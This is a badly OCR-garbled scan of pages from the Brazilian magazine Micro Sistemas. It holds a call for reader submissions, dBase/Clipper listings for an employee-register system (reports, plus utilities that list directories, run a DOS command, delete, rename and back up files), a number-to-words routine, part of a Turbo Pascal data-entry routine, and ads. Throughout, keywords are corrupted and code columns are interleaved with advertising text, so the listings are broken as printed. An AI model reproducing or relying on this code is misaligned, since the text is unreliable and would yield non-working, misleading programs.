com maior participacdo dos leito-
res na sua elaboracao.

MS albre espaco para fra-
balhos profissionais,
numa tentativa de frazer
a publico os projetos,
programas e apli-
cacdes que, porfaltade
divulgacdo, ficam restri-

10s aos ambientes acadé-

: MICOS.

E a oportunidade! Seu material
serd examinado pela equipe téc-
nica e, com a devida autorizacdo,
publicado numa das nossas proxi-
mas edicoes.

| ¥y

. Observe os seguintes
. requisitos indispensaveis:

1 - lembre-se que a MS é lida por pes-
s504s gue ndo tém a mesma infimidade
gue voceé com o assunto em guestao,
Por isso utilize uma linguagem clara e
acessivel.

2 - Caso sua matéria seja um artigo ou
crénica, envie-a daﬁlogrdfadc com pa-
ginas de 30 linhas e 72 batidas em es-
pagg 2. Se preferir, mande em disquete
3 - Se for um programa mande em dis-

?ueie. sem esquecer um fexto explica-
\e}

4 - Caso sua matéria tenha fofografias,
ndo esqueca o crédito e as legendas.
Tabelas, desenhos e ilustragoes fam-
bém devem fer legendas e nitidez sufi-
clente para reproducac.

5 - Ao enviar sua colaboracdo, ndo es-
queca de anexar a auforizacdo para
ser publicada a fim de agilizar o apro-

veitamento da matéria. Viocé serd noti-
ficado caso seu frabalho seja apro-
vado,

6 - Surgindo qualquer davida, entre em
contaio com nossa redagdo.

Por fim mande um curriculo com en-
dereco completo e telefone Suas idéias
vao contribuir para que tenhamos efe-
tivamente uma informdtica nacional de
ponta.

Revista Micro Sistemas - Rua Washington Luiz, 9 gr. 403 - Rio de Janeiro - RJ - cep 20230

ﬁ



7
7 BEPLL "-°,79) ]
7 "% TOTAL: °+STR{BTOT!+ funcionarios com "+5TRI TSALAT)+° de salario total.’
ir TSN..AT()D OB RTOT::0 i x
* MEDIA DE SALARIOS: -+5TR( TBALAT/RTOTI

ELSZ
? "+ MEDIA DE SALARIOS: 0°

“ENDIF
7,
SET PRINT OFF
BETUEN
—--» BELAD. FEG

*

* CADASTRO DE FUHCIONAERIOS

* MODULO RELATOEIQ POE DATA DE ADMISSAD
+

CLEARE

GU TO"

1 a
R’"DT o

TSALAT=0

7 SPACE(11}+°% % » EELATORTO DE PUNCIONARIOS POR DATA DE ADMISSAQ * * #°
7 SPEACE( 201+ CADASTEO DZ FUNCIONARIOS BURN BITS"

7
T "DATA ATUAL:

"L D&TE{J

7 BEPLL 731

¥ CCOD. HUME DO EOUHC. FOHCAD ADMISSAD  SALARTOC
7 BEPLL-7.78)

DO WHILE . ROT, EOFi}
IF . KOT, ANOESADMISSAO
SKIP+1

LOOP
ENDIF
LIP=LIF+1
ETOT=RTOT+1
TSALAT=TSALAT+SALAT
7 CODI+SPACE! 3)
77 HOME+SPACE( 2}
77 FUNCAQ+SPACEL 2)
77 ADMISSAO+SPACEY 4)
77 STE( SALATY
IF LIP>55

LIP=1

S
T SPACEI11) +°% % % RELATORIC DE FUNCIONAEIOS FOE DATA DE ADMIGSAC * # =7
7 SPACE! 20) + "CADASTRO DE FUMCIOKARIOS BUEN BITS®

2

7 “DATA ATUAL:

7 DA"'EU

2. REPLL *-".T8)

HOME DO FONC. FUHCAQ ADMISSAD

7 EEPLI "= .79:

uDDo

7

? RESLC - 79)
2 "% TOTAL' "+5TRIRTOT)+° fumcionarios com +2TE( TALATI+ da salaric total. -

IF TFALAT .0OR BTOT:>0
T MEDTA DE SALARTOS: “+5TR TSALAT/ETOT)
i

: “* HEDIA DE SALARIOS: 0°
ENDIE
et

-SET FRIKT OFF
EETURN

---5 CUTIL. PEG

*
* CADASTRO DE FUNCIOBARTUS

+ MODOLO UTILITARIOS DO SISTEMA
®

0P7=1
OSE FUNC INDEX PESEOAL,CODIX
SET CUESOR ON '
DO WHILE . T.
CLEAR
@ 0,0 TO 24.79 DOUBLE
82,3 T0 22,768 DOUBLE
SET COLOR TO B/W
® 1.3 SAY SPACE( 22} +° HDDULO 'UTILITARTOS DO SISTEMA® +BPACE( 231
SET COLOE TO
SET MESSAGE TO 23 CENTER
@ 5,28 PEOMPT "EXIEIR DIEETORIOS® MESSAGE "EXIBE DIRETORIO DO DRIVE
ESCOLEIDO"
@ 7.28 PROMET “COMANDO DO DOS° HMESSAGE "EXECUTA COMARDO DO DOS DIRETO DO

@ ©.28 PROMPT "DELETAR AROUIVOS ™ MESSAGE °DELETA ARQUIVO ESCOLHIDD FELO

ABTO
® 11.26 PROMPT "HENOMEAR ARQUIVOS® MESSAGE “RENWOMEA UM ARQUIVO ESCOLHEIDC PELO
USDARIO”

@ 13.26 PROMPT "RELATORIO DO SISTEHA MESSAGE ‘EXIBE EELATORIO GERAL DO
SISTEMA E SEUS ARQUIVOS DE TRABALHO

@ 15,25 PEOMPT °"CRIAR INDEXACAQ® MESSAGE "CRIA NOVA INDEXACAC PARA O RQQUIVO
PRINCIPAL DE DADOS®
@ 17.26 PROMPT "BACEUP DO ABQUIVO® MESSAGE “FAL COPIA IE SEGUBANC& o]

ABOUIVOS DE DADOS®
@ 19,25 PROMPT "EETORNA A0 MEND PEINCIPAL® MESSAGE "RETORNA AQ HEND PBINCIPAL

PROGEAMA "
MERUD TO OFD

DO CASE
CASE OPO=
EXI

=
@ 23,5 SAY SPACEL&S])
@ 23.23 SAY "ENTEE O DRIVE PARA EXIBIR :
(EXIBI% "ABCDabed”) 7
BREAD

© GET EXIBI VALID

CLEAR
7 ‘EXISINDO DIRETORIC DE- “+EXIEI
DIB &EXIBL: +. =

1\‘.!1'1' “APERTE UMA TECLA PARA CORTINDAR .
LOOE

CASE OPU=2
COMADOS=SPACEL 35}
@ 23.5 SAY SPACELB5!
@ 23.10 SAY “COHANDO DO DOS:
HEAD
CLEAR
RUN &COMADOS

WAIT APERTE UHA TECLA PARA CONWTINDAR .
LOOFP B

© GET COMADOS

CASZ OPU=3

COMADOS=SPACEL 14}

@ 23.5 SAY SPACE(E5)

@ 23,20 SAY "AROUIVO PABA DELETAR: ° GET COHMADGS
BEAD
iF FI.JE i’UHﬁDOSF

@ 23 5 SAY SPACE(E5)

@ 23,30 SAY "TEM CERTEZA (S/H}: ° GET SH VALIDISES SHsn'd
READ

IF SH="5"
EBJ\SE &CU[‘I.ADO’S

@ 23,5 SAT SPACT(ES)

SET COLOR TO W+

® 23,28 SAY "ESTE ARUDIVO HA0 EXISTE !
SET COLOE TO

A=0
D0 WHILE A+1500
A=A+l

ENDDO
LOOE

Ve,'a 50 se ndo € uma vaniagem e lanfo:
vocé paga 10 e leva 12 edicées. Uma

pechincha de dar dgua na boca. e
E ndo é s6 isso ndo. Afente para o fafo
de que MICRO SISTEMAS é a primeira Enderseo;
revista brasileira de microcomputadores. Sao
10 anos de lideranca no mercado e muita Cep: Cidade: UF:
hisfcria para contar.
A nossa maior r:adrgao continua sendo Equipamento:
nosso carro chefe: nas paginas da MICRO
SISTEMAS vocé encontra sempre uma Profissdo: Data hasas
andlise do mercado de informética. Além, é
claro, dos melhores programas e rofinas e oy

publicados em revisias.

Néo fique af parado. Pegue a sua
calculadora e faca as contas. Depois é s
preencher o cupom ao lado e entrar para o
time dos usudrios bem informados.

Estou enviando o cheque n®
no valor de Cr34.6C0,00 nominal & ATI EDITORA SA,
referente a uma assinatura anual (12 nameros)

de MICRO SISTEMAS.

ATl Analise, Teleprocessamento e Informatica Editora S.A.
Rua Washington Luiz, 9 - gr 402 - Rio de Janeiro - RJ - Cep: 20.230




E{DIF INEETL 0}
e SET CUESOR ON
ASE E
REANT=SPACE! 14} CASE OPO=§
BEHO=8PACE! 14} CERT= "N~

@ 23.5 SAY SPACE(TO)

@ 23.5 SAY SPACEIB5)
@ 23,50 SAY "TEM CERTEZA 7 (S/N) °
HEAD

@ 23,20 SAY "NOME DO ARQUIVO PARA RENOMEAR: ° GET REANT GET CERT VALID CEETS "SNew'd

EREAD o
IF FILE: REANT) |
@ 23.5 SAY SPACEL 850 2 i Dy
8 23,25 5AY "RENOMEAR PARA: IF CERT='5"

@ 12,20 CLEAR TO 14.50

EEAD
EL’"E‘ENAMZ LREANT TO &REKD @ 12,29 TDTJ.!.,SD DOUBLE
5 SET COLOE TO Wx
o 5 SAY SPACEf 65} @ 13.31 SAY "AGUARDE UM MOMENTO®
SET Cl JLOR TO Wx SET COLOR TO

* GET REND

@ 23.28 SAY "ESTE ARQUIVO HAC EXISTE ! USE FONC
EE{-JJ. COLOR \TO INDEX OF NOME TO PESSOAL
= INDEX O CODI TO CODIX
D0 WHILE A<1500 ENDIF
A=A+l
_".iNDDO CABSE 0PD=7
ENDIF @ 4.4 CLEAR TO 21,75
T 8 7.10 5AY - BACKUF DE SEGURARCA®
= B 5.10 5AY "Esta opcae serve para fazer copias de seguranca das -|rqu~vos
DECLARE KAR(11.TARL11.IAR[Z].TIARIZT 8 10.10 SAY *  da dades do CADFUN. Para tanto, voce deve  possuiy  am-
[1 = - @ 11,10 54Y ~  disco de backup para o arquive de dadoc {FOHC. DEFY. -
J\DEE'.t *, DB §EP TAR} 2.13.10 SAY _¥oce deve indicar gual o drive onde esta o disco da backup®
AanRf *. NTX".IAR,TIAR @ 14,10 SAY 8 confirmar, Tecle [& ) cn [B:] e o computador fara
@ 33 5 SAY SPACEfEM @ 15.10 SAY automaticamente ¢ backup de noguranca.

@ 23,5 SAY SPACE(TO)

@ 25.18 SAY CAPERTE ALGO PARA CONTINDAE OO0 [£2] PARA ZAIR”
EET CL;EE\.\:‘ OFF

H=INEEY

B 4.4 CLEAR TO 21.75

SET COLOR TO B/W

€ 1.3 SAY SPACE( 23!+ "FUNCAD RELATORIO DO SISTEMA +SPACE( 24)
SET COLOR TO

IF HAR[13=" ~
@8 23,5 SAY SPACE(ET}
SET COLOR TO Wx
@ 23,16 5AY 'O SISTEMA NAD ESTA CORFIGURADG CORKETAMEMTE ®
EET COLORE TO

4

SDAL"EISH
DI
D6 KAILE A<1500 gs 23 25 sav -auaL o DEIVE DESEJADC: ° GET NDRIVE VALID(NDRIVES "a: B °)
RILE 4<15
L SET COLOR TO W/R

ERDUO @ 23,23 SAY "COLOQUE O DISCO DE BACKUP WO DRIVE +NDRIVE
EXIT BET EOLDB TO
EKDLF . THEEY(

SAVE SCEEEN TO BACKS

@ 7.10 SAY "DISCQ DO SISTEMA C: “+B5TR(DISESPACE! 3)) +° bytes livres"® CLEAR

® 9,10 SAY 'MEMORIA LIVRE “+STR(MEMOEY(()} )+  Kbytes livres® ugyg; VE=NDEIVE+ "FUNC. DEF *

@ 11,10 SAY "ARQUIVOS DE DADOS EM USQ "+NAR[L I+~ -4STRI TAR[1 1! +° bytes® COPY FILE FUNC. DBF T0O &NODRIVE

@ 13,10 SAY "ARQUIVOS DE INDEXACAO "+IAR[11+° “+BTE(TIAR[11}+° bytes' RESTORE SCEEEN FROM BACKS

@ 14.32 SAY TAR[2]+° “+STR(TIAR[Z)) +° bytes~ ENDIF

@ 16,10 SAY "0 ARQUIVO PRINCIPAL TEM “+STR{BECC(}!+° registro

@ 18,10 SAY "TOTAL DE BYTES EM- ARQUIVOS: “+STR( TARC1 J+TIAR[L ]+'1'IﬁR[2:|}“ CASE OPU=8
brtes” EXIT

SET COLOR TO We ENDCASE
@ 23.23 GAY "APERTE UM TECLA FARA CONTINUAR®
SET COLOR TO ERLDO

SET CURSOR OFF SET CURSOR OFF
RETURN

SOFTWARE DE
DOVIINIO PUBLICO

SHAREWARE ¢ PC-XT E COMPATIVEIS

PROCESSADORES DE TEXTOS
PLANILHAS

BANCO DE DADOS

UTILITARIOS PARA IMPRESSAQ

TUTORIAIS EDUCATIVOS

informe qual o seu equipamento

GRAFICOS

CIENCIAS E MATEMATICOS
COMERCIAIS/FINANCEIROS

ANTIVIRUS
JOGOS

|
DESKTOP MANAGER

GERENCIAMENTO DE PROJETOS

L

SOLICITE CATALOGO COMPLETO

(011)743-4143

JAMSOFT |NFORMAT|CA Rua Boa Vista, 364 - CEP 09570 - Sao Caetano_do Sul-SP




ROTINA

Converta valores numeéricos para extenso

PC

Convext:

conversor numerico

[0 Marco Anténio de Faria Costa

Convext & uma rotina de conversdo de valores em extenso
elaborada em dBase 1l/FOX/CLIPPER que poderé ser facil-
mente anexada a qualquer sistema que necessite deste tipo
de conversdo. Para utilizaggo da rotina deve-se inicializar a
varidvel EXT no programa principal (EXT="' "), armazenar

Micro: IBM PC/ XT
Memoria: 512 Kbytes
Video: CGA
Linguagem: dBase lll

Requisitos: Nenhum

o valor desejado na varidvel VALOR (méaximo de 9 casas in-
teiras e duas decimais) e executar a rotina de conversdo (DO
CONVEXT). O resultado retornarad dentro da varidvel EXT.

MARCO ANTONIO DE FARIA COSTA é técnico em processa-
mento de dados e Bacharel em Ciéncias Contabeis. Atualmente
desenvolve implanta sistemas para a 4rea comercial e para a
de Construgdo Civil. Programa em dBase, Cobol, Lotus e WS.

* Rotina: CONVEXT

EXT="(" Ba="Quatrno"
Al="Cen" BS="Cinco"
AB="Duzentos" B&="5ris"
Ad="Trezentos" B7="Sete"
A4="Quatrocentos" Bg="0ito"
Ad="Guinhentos" BY="Hove"
Abé="Seiscentos" 810="Dez"
Aa7="Setecentos" Rii="0Onze"
AB="Oitocentos" Bi2="Doze"
A9="Novacentos" Bi3="Treze"
Bi="Um" Bl 4="Guatorza"
B2="Dois" BiS="Quinze"
B3="Tres" Bi&="Dgzesseis"

Bi7="Dezescte"
pig="Dezoito"
Bi9="Dezenove'
ca="Vints"
C3="Trinta"

Vi=SUBSTR(STR(VALOR, 12,2),1,3)
VE=SUBSTR(STR(VALOR, 12,8), 4,3)
V3=8UBSTR(STR(VALOR, 12,2),7,3)
Va=" "+SUBSTR(STR{VALUOR, 12,2),11,2)
DO WHILE P(5

C4="Guaranta" STi=0
CS="Cinquenta" STe=0
Cé="Sessenta™ 8T3=0
C7="Setenta" PA="U"+STR(P, 1,0)
c8="0itenta" VA=2Pa
Co="Noventa" CT=y

p=i
8TG=0

DO WHILE VAL (SUBSTR(VA,L,1))H0
IF VAL(SUBSTR(VA,1,1))=CT

@ SOLAR INFORMATICA

PC MSX NINTENDO
— ¢ JOGOS E APLICATIVOS —]| » JOGOSAPLICATIVOSE UTILITARIOS ALUGUEL E VENDA DE
s PRECOS BAIXOS » NOVIDADES DO JAPAQ E EUROPA CARTUCHOS EVIDEOGAMES
o PROGRAMAS INTELIGENTES s HARDWARES PROMOCOES
* DESENVOLVIMENTODESISTEMAS | | » TRANSFORMAGAO 2.0 COMPRAS FEITAS
* CLUB MASTER PC » MELHORES PRECOS PESSOALMENTE 10%
SOLICITE CATALOGO GRATIS | DE DESCONTO

ENTREGAMOS ADOMICILIO EM SAO PAULO
CARTAS: Caixa Postal 11743 CEP 05090 - Sdo Paulo - SP

FONE 260-5624

|




IF §TG={
IF PH4
CONEC=", "
ELSE
CONEC=" e " = s
St Tecnologia Eletronica

ENDIF

EXTi="a"+8 TRICT,1,0)

EXTi=8EXTL

IF UhL(SUBSTR(Uﬁ £,8) =4 AND. VAL (SUBSTR(VA,2,2) ) H0

EXTi="Centa"

o SOLUCAO INTEGRADA

EXT=EXT+EXTL

ELSE
EXT=EXT+CONEC+EXTS
= M consultoria
e Hvenda, equipamentos & suprimentos
Cr - M assisténcia técnica
EXIT B contratos & avulsos
Sl Brepresentacéo de software
cT=2 B desenvolvimento de sistemas

DO WHILE VAL(SUBSTR(VA,2,1))H#0.AND VAL (SUBSTR(VA,Z, 1) 81
IF VAL (SUBSTR(VA,B,1) =0T

EXTi="C"+STR(CT, 1,0} e ==
IF 5T1=0.aND.STG=0

EXT=EXT+&EXT1
ELSE
EXT=EXT+" & "+BEXTL

EMDIF
ST2=14
ENniF | o ADAPTADOR DE TV PARA MONITOR
CT=CT+1
IF ©T=10
AT ° TRANSFORMA O SEU TELEVISOR EM UM
ENODD MONITOR COLORIDO PADRAO CGA,
DO WHILE VAL (SUESTR(VA,2,1))=% COM EXCELENTE DESEMPENHO
IF VAL (SUBSTR(VA,.2,23 =0T X =
EXTi="B"+LTRIM(STRI(CT,2,0)) MAO MECESSITA DE MODIFICACOES NO MICRO NEM NO TELEVISOR.
IF §T1=0.QND;S]E=0.QND,STB=O "
1 EXTREXTEEATS CONFIRA! PROMOGAO ESPECIAL DE LANCAMENTO
EXT=EXT+" e "+JEXTi
Sy Av. Presidente Kennedy, 213 CEP 24500 - Sao Gongalo - RJ
E#I_!EEiI TELS.: (021)712-8034 e 208-2546
EF_CTHEO
EXIT
ENDIF
ENDDD

CT=4
10 WHILE VAL(BUBSTR(VA,Z,1))=0.0R.VAL(SURSTR(VA,2, 1) #1
IF VAL(SUBSTR(VA,3,1))=CT
EXTi=“B"+LTRIH(STRtCT.E,O))
IF §Ti=0 _ AMND.ST2=0.AND.STG=0
EXT=EXT+EEXTL
ELSE
EXT=EXT+" & "+REXT1
ENDIF
5Ta=1
EXIT
EMDIF
CT=CT+i
IF LT=1¢
EXIT

e 0S5 MELHORES SOFTS PARA cx

IF STi=1 OR.STE=1.0R.S§T3=4 OR.(P=3 AND.INT(VALOR)HO) MS 4,2 QU PLUS: 36@-7TZ0F .

- IF Pmi e e

IF vaL(var=1
EXT=EXT+" Milhao"

ELSEKTNEXTP‘ Hilhoes™
ENDE;‘DIF 1-DIIREIYWE LIFPTEQX TORISTSRE..
Fimaia O UNMNICQO COX DnoIrs AWos DE
EXT=EXT+" Hil® GARANTIA ,E REWVISAQO SEMESDS-—
ENDIF TRAL GR&‘AT“U‘I TA .
IF F=3 -— S III h.P = - e
IF INTCVALOR)=1
EXT=EXT+" Cruzeiro® I"I T DE LIMPEZJ‘L PARA. DRI VE
ELSE 2 1 -r-2.50 A HDTCENTER TEM.

EXT=EXT+" Cruzeiros"
EMDIF

2-LIGHT-FPEIT  SLALIZAYTTY -

EHOTE CANETA OTICA QUE IJ ESEMNHA

e ?;%ﬁuum . ML TELA.Cr88 . 502,80 .
EIEEA et FILTRO DE LINHA COM RESET =
EXT=EXT+" Centavos” =3 TDM&D&S e ﬁAI D& TERRA .

END?‘;”IF S BT AESTRAL —A=-TEOL ST A .

S TB=1 - GAIMNHE DIXMNHEZI RD E  SUCESSO

ENDIF COX A HMTJLEHERADA , FAZENDO
et MAFPAS ASTRAIS .S BTIIS .

% LIIFES S MHMIT R LSIAT Eh5 ¢+ €

et LINHA COMPLETA DE SOFT &
SET TALK OFF _ HABRDWARE COMMODORE  AMI Gl.
eLeek FELDOIMNDG CATAL DGR EECEE
UALDR=123 454789 . 12 CT1-1 EPIITI’JE « 115 l:'i:ll'ir'f-}.;" SR AN

DO CONVEXT Jdnsos e PEaoOL A OuTTTE

et TELE-PLANTAQ SABANG E DOMINGG.TEL: { 024 ) &77- %745,
it R FUARISTO DA UEISR 35417 CENTRO - Rd. CEP: 20034

]| DE 22 ® 628 DAS 9 RS 18 He=. SABRDOS ATE RS 14 HORASL,

MICRO SISTEMAS &9




ROTINA

Melhore a entrada de dados em seus programas

Micro: IBM PC/ XT

Memdria: 512 Kbytes

Uma nova opcao

para o INPUT

Linguagem: Turbo Pascal

Requisitos: Nenhum

O Selmo Luiz Bergamim

°
®
e Rotina: INPUT.PAS
O programa INPUT.PAS é uma ro-

tina de digitacgo semelhante a do AR AR AR E TR E AR TR R R R AR AR AR R IR RR AR AR AR R NI R AR )
c (% ¥}
bBase ”I PIUS e C|I§Jpef. Semeihante, §: Projeto e programagdo : Selmo Luiz Bergamin :;
e B Ll : Input.Pas Data Criacdo : @5 - N bro — 1990 %3
maa naodlgual' d d {% L;:g::::m util:zada z Tuib; P;:S Versao 4';""?"‘ £ %3
= % *3
Fanno Usamos SALACIE g.aeen {x A fungadoc deste programa e criar uma rotina de digitagdo semelhante a £
trada de dados do TURBO PASCAL {* do dBase III Plus ou Clipper 5'87. £}
{% E outra funcoes de muita utilidade na programacdo. )

(Read e ReadlLn) ndo temos muitos
recursos para digitar as informacdes.
Se vocé tiver que usar irés entradas
elas sdo disparadas uma de cada vez,
se estiver na segunda entrada e pre-
cisar retornar a primeira € impossivel,
e se precisar de uma filtragem de da-
dos também é impossivel. Foi pen-
sando nisso que resolvi criar uma ro-
tina de digitacdo para Turbo Pascal
semelhante a do dBase lll Plus e Clip-
per S’87. Com a rotina “‘tudo fica
possivel de ser feito”” nas entradas de
dados. O uso da rotina é muito sim-
ples, e para quem conhece o dBase
Il Plus fica mais simples ainda.

A rotina de digitacdo é composta
por duas procedures, a InputXY e Re-
adinput. A procedure InputXY & uma
defini¢do do 2...GET do dBase Il Plus.
Com ela vocé marca as entradas de
dados e as filtragens a serem feitas.
A sintaxe da procedure InputXY é a
seguinte:

InputXY{Coluna , linha : Integer;
String a editar : String; Tipo : Char)

Exemplo:

A entrada serd posicionada na
coluna 10, linha b, o texto a ser
editado é "'Rotina de digitacé@o’™ -
e filtragem do tipo “C* (Qual-
quer caracter).

{x 2}
RN R AR KRR R R R AR R R R R AR R R AN AR NI RN TN RSN}

Program Input_Bergaj
Uses Cri,
Dos,

Printer;

Var F, A, W, I,

Somadar : Integer;

Textos : Array[1..150] of StringlZ0B]1;
Tipo : Array[l..1580] of Char;

XCol, Xlin : Array[1..130] of Integer;
Caract : Char;

(*!*!*I*8*ltIX‘2K**!¥G*‘!!!t*3*l*K*K*t‘K!l!!!'*1*!*’**I*!***tlll!*!*t*l**!‘***)
Function Exist{ § : String) : Boolean;

Var Arguive : Text;

Begin
Assign(Argquivo,S);
{$I=)
Reset(Arguivol;
{$I+}
if IOResult <> @ then Exist := False else

Begin
Close{Arguivo);
Exist := True;
End;
Endj

T e e Pt r e P e Pt R T PR et e P b b PR R PR R R R PR E R R R AR R RS R RS LS B
Function Date : String;
Var Strl,5tr2,Str3 : Stringl[2];

DD,MM,AR,CC : Word;
Begin
GetDate(AA,MM,DD,CC); AA = AA - 1700;

Str{DD : 2,S5trl); Str(MM : 2,Str2); Stri{AA : 2,5tr3);

if stri[1] = #32 then stri[l1] := 'B°;

if str2[1] = #32 then str2[1] :=

if str2[1] = #32 then str2[1]-:=

Date := Strl + “/° +5tr2 + /70
Endj

‘@
‘@
+5t

B
i
Str3;

(‘t!!!2!t!t12XX‘!!'*******#**i*'*ttt!l*t!l*I*l******t!2X%!XX‘X%!S*S*‘*!*’!!!!!}
Function Space(Num : Integer) : String;

Var Conter : Integer;
Espaco i String;
Begin
Espaco := i o
For Conter := @ to (Num — 1) do Espaco := Espaco + #32;
Space 1= Espacoj;
End 3

70 MICRO SISTEMAS




(R R T R R R R R R R RN A R AR AR AR A IR AR AR F AT ENR ]
Function VersionDos : String;

Var Reg : Registers;
YP,VS : String;

Begin
Reg.AH := %30;
Intr{ %21, Reg);
Str{ Reg.AL:l, WP};
Str{ Reg.AH:2, ¥S);
VersionDos := VWP + ". " + VS5;
End;

It R e Rt P e et a R a e st st st dss ittt ssss st iss sl
Procedure ClearBex({ Coll, Linl, Col2, Lin2Z : Integer)j;

Begin
Window(Coll,Linl,ColZ2,Lin2);
ClrScr;

Window(1,1,80,25);

End;

(R R R KR R R R N R R R R RN R RN R R R R AR XA
Procedure WriteXY( Col , Lin : Integer; Mensage : String };

Var Posicaoc , ¥ ; C , L : Integer;

Begin
E i=iEal-— 15 L = Lin - 13 Posicao := (L ¥ B@) + C;
for X = @ to (Length(Mensage) — 1)} do
Mem[$B880: (Posicao + X) % 2] := Ordi(MensagelX + 11);
End;

(R R R R R AR R AR RN E AT E R AR ER IR R TR IR R ISR RN X}
Procedure Box{ Coll , Linl , Ceol2 , Lin2 , Tip : Integer J);

Const LinHor : arrayll..3] of Integer
LinVer : array[l..3] of Integer
CSEsq ¢ arrayl[1..3]1 of Integer
CSPir : array([l..3] of Integer
CIEsg : array[l..3] of Integer
CIDbir 1 array[l..3] of Integer

( 196 , 2085 , 219 };
{179 , 186 , 219 );
{ 218 , 201 , 219 );
t 191 , 187 , 219 );
[ 192 , 200 , 219 );
( 217 , 188 , ]

{11

219

Var P1, P2, P3, P4,
Cii7lils E25 12
X 1 Integer;

Begin
Cl =
Ll ¢
C2 :
L2 &

Coll — 13
Linl - 1;
ColZ — 13
Lin2 = 13
(L1 * 8@) + Ci1;
(L1 * B@)} + CZ;
(L2 * B@) + Cij
: (LZ x B@) + CZj;
Mem[$E800:FP1%2] CSEsqlTipl;
Mem[ $BE@B:P2%2] CSDirlTipl;
Mem[$BEBBB:P3x2] CIEsqlTipl;
Mem{$BB@R:P4¥2] := CIDirl[Tipl;
for X := (Pl + 1) to (P2 - 1) do Mem[$BE@D:X%2]
for X 1= (P3 + 1) to (P4 - 1) do Mem[$B8P@:Xx2]
X =='Pls
While X < (P3 - B@) do
Begin

X = X + B@;

Mem[SBERB:X%2] := LinVer[Tipl;
End;
X = P23
While X < (P4 - B@) do
Begin

X = X + BO:

Mem[$BE@D:X¥2] := LinVer[Tipl;

LipHor[Tipl;
LinHor[Tipl:

i

(R R R R R Rk R R R R TR R AR KRR RN R RN AR AR AR R AT E T XE]
Procedure Cursor( Inicio, Fim : Integer 1j

var Reg : Registers;

Begin
Reg.AH := %013
Reg.CH := Inicio;
Reg.CL := Fim;
Intr{ %18, Regl;
End;

GOTIOA Y 0,9/

Write ("Editar :');

InputXY(10, 5, ‘Rotina de digi-
tacdo ’, ‘C’);

Ao chamar a procedure InputXY,
o texto serd exibido na posicdo defi-
nida com o fundo azul e as letras em
branco brilhante. A procedure ReadIn-
put é definida como o READ do
dBase |l Plus. Ela edita os textos de
acordo com a ordem de chamada, mas
vocé pode andar com o cursor pelas
entradas de dados como o dBase |l
Plus.

Ainda serd possivel usar modo de
insercéo, tecla DEL e BACKSPACE, e
a tecla ESCape abandona de uma sé
vez todas as entradas.

COMO USAR

Quando vocé for usar a rotina de
digitacdo, deve definir as variaveis
GLOBAIS a seguir:

Textos : Array[1..150] of String;
Tipo : Array[1..150] of Char;

Weol, Wlin : Array[1..150] of Integer;
Somador : Integer.

Estas varidveis serdo usadas pela
rotina. Veja agora as variaveis em de-
talhe:

Array Textos - guarda os textos
editados. Quando vocé chama a pro-
cedure InputXY o texto que foi pas-
sado para ela fica guardado na Array
Textos de acordo com as chamadas,
para ser editado pela procedure Rea-
dinput.

Array Tipo - guarda o tipo de fil
tragem a ser efetuado.

Array Wcol e WLin - guardam a
coluna e a linha em que ficardo as
entradas.

Varidvel Somador - guarda quan-
tas entradas forem acionadas.

Observacéo: quando for usar pela
primeira vez a rotina dentro de um
programa vocé deve zerar a variavel
Somador.

Veja agora a tabela de filtragem : p-

eDRIVES 51/4 E 3172 eJOYSTICK
oM EGARAM
eLIVROS E REVISTAS
o|MPRESSORAS

ePROGRAMAS  [’ERice:
oFILTRO DE LINHA eMONITORES 3
e ARQUIVOS P/ 10,50 E 100 DISQUETES I
e SUPRIMENTOS
RUA MATO GROSSO N28 SALA 305, ED. GEOCENTER PITUBA,CEP41830—_TEL(071)248-7136




e e e e e e e B T

Simbolo | Descricdo
4 (EREXERER R EAS AR AEE SRR K RS AR TR SR AR RRAT
C Entra qua!que‘r caraCter' PrQCE;ure'LngutX‘f[ Coluna., Linha : Integer; Texto : String; WTipo : Char ¥i
’ FAT r=r - Begin
‘A Entra de ‘A’ at "Z" minuscu Somador := Semador i)
- Textas[Somador] := Textoj
la ou maitscula. TipolSomador ] pCase(WTizs) s
XCol[Somadar] olunaj;
A AT = H %1in[Somador] := Linhaj
! Entra de A at z 56 mai- Teitcg?;i[lﬁl:TextBaékgrDund[ll:
GotoXY(Coluna,LinhaljWrite(Texto)s
USCUIa TExtDCI].c!:(?):TEXtBECkC_I.’OL:ﬂd{EJ;
rar AT r=r Cli) End;
$ Entra de ‘A’ at "Z' mindscu
la ou mailscula e espaco. (sn*";uxgxenuna:a1:uu*:u*n;uun:nxunna:sxst:u*anunnuuuns*au}
= Procecure Readlnput;
& Entra qualquer caracter e e 0
mindsculas s transforma- Gl i
das em maitsculas. Len, DD,
MM, AR,
‘N’ Entra nimeros, ponto (.) e Sl R
sinal de menos (-). s
Ins := #@; Reg := 13 X := 1l;
g’ Entra s6 numeros. TextColor(15);TextBackground (1),
Repeat
rmy/ ~ Len := Length(Textos[Regl);
D Entrada de data. Nao che GonoXV(KEo?[Reg_‘:.K?:n[ﬂgglJ;NritE[TExtus[Heg)!:
Lo AT SotoiYiiXCol[Regl+X)-1,X1inlR i
ca se é vélida. BRsTEL el R R
FTE = Cas; Chscf
f N’ #@ : Begin
L Entra apenas S ou N’, LR
maidsculo ou minusculo. S
'i' : Begin
Ch i= #13

Case Ins of

USO DA ROT!NA #@ : Begin

GotoXY(&@,04) sWritel Ins’);

Ins = #1;
Vocé deve definir todas as entradas . eEe
com a procedure InputXY e, apos de- BotoKY(60,am)suritel” ) 4
finir, deve chamar a procedure Read 1 End; '
ndj;
Input. Observe o Exemplo: Enels
o = It ; > 1 then
Somador :=0; ey
Ch 1= #1;

GotoXY( 5, b)s End;

M :+ if 4 < Len then

Begin
¥ By
Ch ;= #13%
End;

‘5'  : Begin
Delete{Textos[Regl,X,11;

A
Textos[Regl := Textos[Regl + #32;
Ch 1= #1;
End;
e H : if Reg > 1 then

Begin
| Reg 3= Reg. — 13
X o= 1;
Ch := #1ij
Endj;
g : if Reg ¢ Somador then
F Begin
£ Reg := Reg + 1j;
X = 1;
=T Ch 1= #13
End;
End;
Endg
#13 : if Reg <> Somador then
. Begin
Ch := #1;
Reg := Reg + 1:
X == 13
Endj
#27 @ Begin

Somador;

@
Ch . == #13;
Endsz
#B ot X then
Begin

Delete(Textos[Regl,X-1,1)3
Textos[Reql := Textos[Regl + #3Z;
X = X - 13
Ch := #1:

End;

End;
- if CTRL = #1 then

Begin
CTRL := #@;

-
JA Ch = #0;
End

Case Tipo[Regl of 'D° : Begin
if (Ch ¢ "/7) or {(Ch > "2°) then Ch := #8:

-

if Ch ="/ " then
if (x = 3) o (X = &) then Ch := Ch
5 else Ch := #@:
SPl (011)852-8617 if L =:3) or X =(&) -ther
